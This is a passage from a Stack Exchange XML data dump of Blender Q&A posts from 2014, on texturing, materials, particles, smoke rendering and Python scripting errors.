Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18347" PostTypeId="2" ParentId="18346" CreationDate="2014-10-29T20:06:37.393" Score="11" Body="&lt;ol&gt;&#xA;&lt;li&gt;First unwrap the cube (I used &lt;em&gt;Follow Active Quads&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Add the default Color grid image texture as the image.&lt;/li&gt;&#xA;&lt;li&gt;Add a new UV map (I called it &lt;em&gt;decal&lt;/em&gt;). In order to do that open Properties Editor &gt; Data tab &gt; &lt;em&gt;UV maps&lt;/em&gt; rollout and press &quot;+&quot; button. Select the face you want the decal on and press &lt;kbd&gt;U&lt;/kbd&gt; &gt;&lt;em&gt;Unwrap&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add another image texture in the second texture slot, set the UV map to &lt;em&gt;decal&lt;/em&gt; and the set the &lt;em&gt;Extension&lt;/em&gt; to &lt;em&gt;Clip&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GeHmu.png&quot; alt=&quot;texture settings&quot;&gt;&lt;br&gt;&#xA;Both image textures are on the same material. The material is not specific to any face, it is on the entire model. The UV maps control where the textures go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result, default Color grid as the texture and the blender logo as the decal.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/h7CJ6.png&quot; alt=&quot;end result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="1245" LastEditDate="2016-02-20T15:43:25.043" LastActivityDate="2016-02-20T15:43:25.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18348" PostTypeId="1" AcceptedAnswerId="18351" CreationDate="2014-10-29T20:38:52.727" Score="7" ViewCount="12274" Body="&lt;p&gt;how to achieve a bronze shader, optionally with some dirt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my Mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HCtUc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is a reference image showing how it should look:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nVysP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="599" LastEditDate="2014-10-29T22:25:52.023" LastActivityDate="2016-01-25T13:34:00.140" Title="How to make a bronze material in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="4" CommentCount="7" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18349" PostTypeId="2" ParentId="18348" CreationDate="2014-10-29T21:15:48.763" Score="1" Body="&lt;p&gt;If you download this &lt;a href=&quot;http://www.blendswap.com/blends/view/69793&quot; rel=&quot;nofollow noreferrer&quot;&gt;pack&lt;/a&gt; and append in the &lt;em&gt;Brass Old&lt;/em&gt; one, you can adjust its colors to get what you are looking for. Then hook a grunge map into the &lt;em&gt;Roughness&lt;/em&gt; value, or use a noise texture like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7tlgE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives an output of:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YO0N4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By playing with the &lt;em&gt;Contrast&lt;/em&gt; and &lt;em&gt;Multiply Values&lt;/em&gt; you can get a pretty nice result.You can mix together more complex textures to get a look more like your image.&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-10-29T21:15:48.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18350" PostTypeId="2" ParentId="18318" CreationDate="2014-10-29T22:18:17.863" Score="4" Body="&lt;p&gt;If it is a 3D model of a sprite you want, then I have actually made a Python Script / Addon that takes an image and converts each pixel to a cube with a material of the same color.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/MrSprite/ff7fda1ec4bf6850d357&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/MrSprite/ff7fda1ec4bf6850d357&lt;/a&gt;.  Go here and click the button that says Raw. Then you can right click on the page that opens to download the .py file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install it in Blender like a normal addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't recommend using images over 100x100 unless you want Blender to lag a lot.  Also it takes around 1 minute to generate 100x100 cubes, but only .39 seconds to do a 32x32 image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if a pixel has ANY transparency it will not be created, so be careful!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/76236043/imgs/pixel.PNG&quot; alt=&quot;Pixel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5505" LastActivityDate="2014-10-29T22:18:17.863" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18351" PostTypeId="2" ParentId="18348" CreationDate="2014-10-29T22:22:12.707" Score="6" Body="&lt;p&gt;Here's what I came up with using procedural textures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Iuman.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iuman.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would use &lt;em&gt;dirty vertex colors&lt;/em&gt; in &lt;em&gt;3D view &gt; header &gt; Paint&lt;/em&gt; while in &lt;em&gt;Vertex paint&lt;/em&gt; mode to add some dirt to the corners:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/09CLC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use this in your node setup via an &lt;em&gt;Attribute&lt;/em&gt; node, with the &lt;em&gt;name&lt;/em&gt; set to the name of the vertex color layer (&lt;code&gt;Col&lt;/code&gt; by default):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WETCS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WETCS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You could more than likely get a better result more easily by using image textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also recommend &lt;a href=&quot;http://www.creativeshrimp.com/2014/10/how-roughness-can-change-the-way-we-think-about-materials.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;, which has some great examples (and a free image texture).&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-29T22:22:12.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18352" PostTypeId="1" CreationDate="2014-10-30T00:35:07.613" Score="5" ViewCount="2250" Body="&lt;p&gt;I wonder to know if there is a way to &lt;strong&gt;dramatically reduce blender slowliness while working&lt;/strong&gt; on a .blend with &lt;strong&gt;lot of objects/particles&lt;/strong&gt; on a &lt;strong&gt;slow PC&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using BI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for more tricks than the usual ones like disabling object visibility, turn them shadeless, send them to other layers/renderlayers, remove shadow casting, you know, all those tricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 6 to 9 subsurf levels aplied to planes with RGBA video texture, I need to dissolve in particles some dudes for my shortfilm, obviously my PC is so much dying right now. Even reducing the subsurf view level is no good because of the amount of planes being dissolved in particles at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To buy a new CPU or GPU is not good for me right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas? Suggestions?&#xA;Custom builds for this kind of task? Ubuntu/win8?&#xA;Dramatic object disabling without deleting them?&#xA;Other ways to particleize planes with video textures?&#xA;*Python magic code to disable stuff?&lt;/p&gt;&#xA;" OwnerUserId="7686" LastEditorUserId="599" LastEditDate="2014-10-30T07:48:09.643" LastActivityDate="2021-04-17T05:31:36.350" Title="Reducing viewport slowness while working on a .blend with lots of particles?" Tags="&lt;3d-view&gt;&lt;particles&gt;&lt;performance&gt;" AnswerCount="4" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="18353" PostTypeId="2" ParentId="18352" CreationDate="2014-10-30T02:47:14.997" Score="1" Body="&lt;p&gt;Try &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;H&lt;/kbd&gt; to hide everything but the selected object.&#xA;This page can be of use for you.&#xA;&lt;a href=&quot;http://www.blenderguru.com/articles/11-useful-blender-tricks-you-may-not-know/&quot; rel=&quot;nofollow&quot;&gt;http://www.blenderguru.com/articles/11-useful-blender-tricks-you-may-not-know/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7768" LastEditorUserId="29" LastEditDate="2014-10-30T06:56:42.710" LastActivityDate="2014-10-30T06:56:42.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18354" PostTypeId="1" AcceptedAnswerId="18356" CreationDate="2014-10-30T03:30:19.883" Score="9" ViewCount="20663" Body="&lt;p&gt;I am using 3 layers, a tornado (flow physics particle), some text that was converted into mesh so it could explode and get sucked in by the tornado. I also have a surface plane which is the only thing that appears in render, except for a vague hint of a colourless tornado.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/content_link/wirtGGVAxUa2EzM9MseXg8odtuMEvfP5brJaZtHZjM4Yuk6uTYaacgMyaDvkRfO3&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/content_link/0ElzIkfbvGqTeJXAAYMJ6R9qJutmTh9coM4GRXgUuFdhnOUSgBXe3clM4WZjmEVh&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/sh/au6151h09mkc4tn/AAAaJZg0p62cMzvXyrbrmhj-a?dl=0&quot;&gt;This&lt;/a&gt; is the link to the blender file and two screenshots, I hope they will help show my problem. &lt;/p&gt;&#xA;" OwnerUserId="7769" LastEditorUserId="599" LastEditDate="2014-10-30T06:27:38.127" LastActivityDate="2017-05-23T03:58:29.087" Title="Smoke not showing up in render?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18355" PostTypeId="1" CreationDate="2014-10-30T06:07:50.470" Score="1" ViewCount="79" Body="&lt;p&gt;How can I &lt;strong&gt;randomly separate particles from the center of a curve guide?&lt;/strong&gt; I dont won't them to stay close to the center of the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create something as a &lt;strong&gt;guided volume of sand&lt;/strong&gt; and not a sort of flat cloth weaving along the scene. My particles came from the tangents of a plane, not from it's normal. What options do I have to tweak on the curve guide panel? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7686" LastEditorUserId="7686" LastEditDate="2014-10-30T06:16:15.257" LastActivityDate="2014-10-30T06:16:15.257" Title="How to randomly separate particles from center of a curve guide?" Tags="&lt;particles&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18356" PostTypeId="2" ParentId="18354" CreationDate="2014-10-30T06:08:28.257" Score="8" Body="&lt;p&gt;For some odd reason the texture coordinates for your voxel texture are undefined: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KTLYb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Printing the value of the setting with python says that it's set to &lt;code&gt;global&lt;/code&gt;, which is not the value you want anyway. Try setting it to &lt;em&gt;generated&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason I also needed to set the viewport &lt;em&gt;maximum draw type&lt;/em&gt; to &lt;em&gt;textured&lt;/em&gt; in order to get this to work in 2.72, which is extremely odd.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dSbxA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was not needed in 2.69. I've reported this as a bug &lt;a href=&quot;https://developer.blender.org/T42441&quot;&gt;here&lt;/a&gt;. It has been fixed as of &lt;a href=&quot;https://developer.blender.org/rB3ea11c1ac8e7e30f986e23f5641ff043ecb6c62e&quot;&gt;this commit&lt;/a&gt;, which will be in 2.73.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also be sure to allow the voxel texture to influence the scattering color of the smoke, otherwise it will not be colored like you might expect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ah44Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-30T20:02:33.983" LastActivityDate="2014-10-30T20:02:33.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18357" PostTypeId="2" ParentId="18352" CreationDate="2014-10-30T06:55:14.410" Score="2" Body="&lt;p&gt;You could try to reduce the number of emitted particles in the view. The particle's child section allows you to have different numbers for &lt;em&gt;Display&lt;/em&gt; and &lt;em&gt;Render&lt;/em&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FjAUa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-30T06:55:14.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18358" PostTypeId="1" CreationDate="2014-10-30T06:55:37.150" Score="2" ViewCount="182" Body="&lt;p&gt;any idea about this?&#xA;two different keyframes, sharing the same frame/time, if i move any of them left to right if i put it in the same time, different value, the curve its fixed and key frames get fused, one curve two vertex its easy to fix, the problem its that i have an rigify skeleton with this curves bakes from motion capture. &#xA;Some body knows how to clean the curves, clean keyrframes operator ( O ) its not working, too aggressive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d62c8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7772" LastActivityDate="2014-10-30T06:55:37.150" Title="Two different keyframes, sharing the same frame/time" Tags="&lt;keyframes&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18359" PostTypeId="2" ParentId="18352" CreationDate="2014-10-30T07:47:11.220" Score="6" Body="&lt;p&gt;Expanding on stacker's answer, in case you are not using child particles, you can also reduce the percentage of real particles displayed in the viewport in &lt;em&gt;Particle settings &gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gYiD6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you should bake your simulation with this set to 100%, and any simulations with it at less than 100% will not be the same a simulations with it at 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also set the particles to draw in the viewport as something other than what they will appear as in the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RzZM2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will probably increase viewport performance a lot&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-30T07:47:11.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18360" PostTypeId="1" CreationDate="2014-10-30T08:00:24.263" Score="0" ViewCount="315" Body="&lt;p&gt;We design installation using a combination of &lt;a href=&quot;http://en.wikipedia.org/wiki/Max_(software)&quot; rel=&quot;nofollow&quot;&gt;Max MSP&lt;/a&gt; and processing. I am wondering if you can intergrate animations which are controlled from live input algorithms. We already have live movement that can control sounds and as we get better at Blender we wonder if we could do the same with animations we create in Blender.&lt;/p&gt;&#xA;" OwnerUserId="7773" LastEditorUserId="29" LastEditDate="2014-10-30T10:38:52.930" LastActivityDate="2014-10-30T10:43:03.610" Title="Using Blender with processing or Max MSP interactive programmes" Tags="&lt;game-engine&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18362" PostTypeId="1" AcceptedAnswerId="18413" CreationDate="2014-10-30T10:36:02.100" Score="4" ViewCount="7985" Body="&lt;p&gt;I created a low poly scooter and applied different materials to different parts of the mesh for obvious reasons (check the photo below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i4aqJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two things I need to do :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I want to put all the color from my multiple materials onto a single material or onto the UV map (whichever is easier) so I can export a single diffuse texture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I want to create a specular map based on my materials so that the metal parts look shiny and the other parts don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best or easiest way to do it?&lt;/p&gt;&#xA;" OwnerUserId="6411" LastEditorUserId="6411" LastEditDate="2014-10-30T16:06:13.340" LastActivityDate="2015-05-27T17:37:24.210" Title="Exporting multiple materials to a single diffuse/specular map" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18363" PostTypeId="1" AcceptedAnswerId="18484" CreationDate="2014-10-30T10:39:29.030" Score="8" ViewCount="9669" Body="&lt;p&gt;I'm trying to animate a mesh with different eye textures but it's not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/057Q6.png&quot; alt=&quot;mesh with texture to animate&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a texture made by me to animate but I still couldn't figure out how to do it. I've seen tutorials on the internet but they don't work to me.&lt;/p&gt;&#xA;" OwnerUserId="7615" LastEditorUserId="599" LastEditDate="2014-10-31T23:39:08.870" LastActivityDate="2016-09-14T12:31:17.517" Title="Animating eye texture in a head mesh" Tags="&lt;animation&gt;&lt;texturing&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18364" PostTypeId="2" ParentId="18360" CreationDate="2014-10-30T10:43:03.610" Score="1" Body="&lt;p&gt;Basically you could use the game engine to perform real time updates using input from another system.&#xA;You could trigger playback of pre-recorded actions using an &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Logic/Actuators/Action&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Action Actuator&lt;/em&gt;&lt;/a&gt; Logic Brick by a script that does the communication with the external component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/15879/blender-armature-control-in-real-time/16001#16001&quot;&gt;Blender armature control in real time?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-10-30T10:43:03.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18365" PostTypeId="1" CreationDate="2014-10-30T10:46:45.737" Score="3" ViewCount="63" Body="&lt;p&gt;Let's say the user has multiple scenes, and some of them may be named &lt;em&gt;Scene.001&lt;/em&gt;, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do &lt;code&gt;bpy.ops.scene.new(type='FULL_COPY')&lt;/code&gt;, how do I know which one is the new one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I'd expect the new scene to update the context and this to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.scene.new(type='FULL_COPY')&#xA;copy = bpy.context.scene&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does work if you type it into the console. However, that doesn't appear to be the case if I put this into an addon script (&lt;code&gt;bpy.context.scene&lt;/code&gt; seems to update only after the operator is done, which is not useful). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can determine which scene is the new one? Is this a bug?&lt;/p&gt;&#xA;" OwnerUserId="179" LastEditorUserId="1363" LastEditDate="2014-10-30T11:33:42.157" LastActivityDate="2014-10-30T11:33:42.157" Title="How to determine which scene is the new one upon duplication?" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18366" PostTypeId="1" CreationDate="2014-10-30T11:08:28.853" Score="1" ViewCount="640" Body="&lt;p&gt;I would like to create a compound rigid body. I had a look at &lt;a href=&quot;http://www.youtube.com/watch?v=BGAwRKPlpCw&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt;, therein compound bodies were created by sampling primitive bodies together. The collision shape was set to a primitive like box or capsule. Than these bodies were all parented an so connected to each other and acted as a complex body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the video used the blender-game mode, where the physics panel looked different to the one available in cycles-mode. In opposite to the video there is no option to set the collision bounds to compound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But probably some images to explain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That hook is the a hierarchy of 9 cylinders, each is a rigid body. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FBeQz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is how it looks like in the outline:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QpaSE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the view of the physics panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9GTCj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I connected each body with another, using »fixed« as constraint type, but all in all, the resulting body is not stiff and deforms, what is not what I want. I would like to have a completely stiff body. How can I gain that?&lt;/p&gt;&#xA;" OwnerUserId="7753" LastActivityDate="2015-03-03T20:25:29.573" Title="Compound rigid body in cycles" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18367" PostTypeId="1" CreationDate="2014-10-30T11:19:59.633" Score="2" ViewCount="1770" Body="&lt;p&gt;I am getting error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ImportError: No module named 'bpy' in Blender console.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am importing bpy module inside Blender console but still getting the error. After long googling I found that no one is getting the same error inside Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Blender 2.7 and python 3.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys   &#xA;import bpy     &#xA;sys.path.append(&quot;C:\Python34\Lib\site-packages&quot;)    &#xA;import serial    &#xA;import GameLogic    &#xA;contr = GameLogic.getCurrentController()    &#xA;own = contr.owner    &#xA;dane=open('dane.txt', 'rb')    &#xA;x=dane.read()    &#xA;dane.close()    &#xA;y = int(x)    &#xA;print (&quot;y=&quot;, y)    &#xA;&#xA;bpy.ops.transform.rotate(value=(y), axis=(0.0, 0.0, 0.0), constraint_axis=(False, False, False), constraint_orientation='', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1.0, snap=False, snap_target='CLOSEST', snap_point=(0.0, 0.0, 0.0), snap_align=False, snap_normal=(0.0, 0.0, 0.0), release_confirm=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output at Blender console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ImportError: No module named 'bpy'  &#xA;Python script error - object 'Cube', controller 'Python':  &#xA;Traceback (most recent call last):  &#xA;File &quot;qqq.py&quot;, line 2, in &amp;lt;module&amp;gt;  &#xA;ImportError: No module named 'bpy'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7774" LastEditorUserId="241" LastEditDate="2014-10-30T14:18:06.873" LastActivityDate="2014-10-30T14:18:06.873" Title="Error ImportError: No module named 'bpy'" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18368" PostTypeId="2" ParentId="18348" CreationDate="2014-10-30T12:39:49.870" Score="3" Body="&lt;p&gt;Okay After some Investigation and trying stuff i found this here &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?241389-Dirt-procedure&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?241389-Dirt-procedure&lt;/a&gt;&#xA;Here is the Node Setup for it too has Dirty Vertex Colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AHRWS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the result can be seen here. Of Course someone could Tweek the Colors / Mix Values for another Result look the thread up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Du3G6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastActivityDate="2014-10-30T12:39:49.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18370" PostTypeId="2" ParentId="18367" CreationDate="2014-10-30T13:53:49.407" Score="3" Body="&lt;p&gt;The blenderplayer doesn't include &lt;code&gt;bpy&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-30T13:53:49.407" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18371" PostTypeId="1" CreationDate="2014-10-30T15:19:58.837" Score="2" ViewCount="147" Body="&lt;p&gt;I paint weights by going back and forth between the add and subtract brushes on the toolbar, but it is time consuming and kind of silly in terms of workflow. I noticed weight painting doesn't have an option to subtract by holding &lt;kbd&gt;Ctrl&lt;/kbd&gt; like sculpt mode does. Is there something I am missing?&lt;/p&gt;&#xA;" OwnerUserId="6402" LastEditorUserId="2217" LastEditDate="2014-10-30T16:40:51.367" LastActivityDate="2014-10-30T16:40:51.367" Title="Better workflow for Weight Painting?" Tags="&lt;workflow&gt;&lt;weight-painting&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18372" PostTypeId="1" CreationDate="2014-10-30T15:32:10.503" Score="2" ViewCount="211" Body="&lt;p&gt;I would like to know how to composite a shadow in Cycles. The diffuse already has a shadow. I did the add and then multiply of the three diffuse passes. (Direct, Indirect and color) that is recommended in the official manual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I would like to know where a book can be found for compositing with Cycles. The official documentation is good, but is in small chunks. Please do not recommend the usual video tutorials. Hopefully someone can write an in depth book about professional compositing that is not about Blender Internal. Like the compositing book by the Blender Foundation when they used internal for Big Buck Bunny.&lt;/p&gt;&#xA;" OwnerUserId="7781" LastEditorUserId="2217" LastEditDate="2014-10-30T18:15:29.487" LastActivityDate="2014-10-30T18:15:29.487" Title="Compositing with Shadows and resources" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-04-12T22:39:40.267" ContentLicense="CC BY-SA 3.0" />
